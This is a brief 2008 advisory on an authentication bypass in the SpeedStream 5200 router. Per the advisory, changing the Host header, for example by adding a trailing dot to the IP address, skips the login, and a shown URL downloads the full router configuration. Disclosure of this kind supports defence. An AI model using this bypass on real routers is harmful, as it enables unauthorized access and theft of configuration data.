 SpeedStream 5200 Authentication Bypass - hkm 12/10/2008
 (Server: NetPort Software 1.1)

 It is posible to bypass authentication by modifying the Host header.
 If you use a Host that is not the authentic one it will not require authentication.

 http://189.255.255.255./          -  This would bypass authentication too.
 http://189.255.255.255./x.cfg     -  This downloads the full router conifguration.
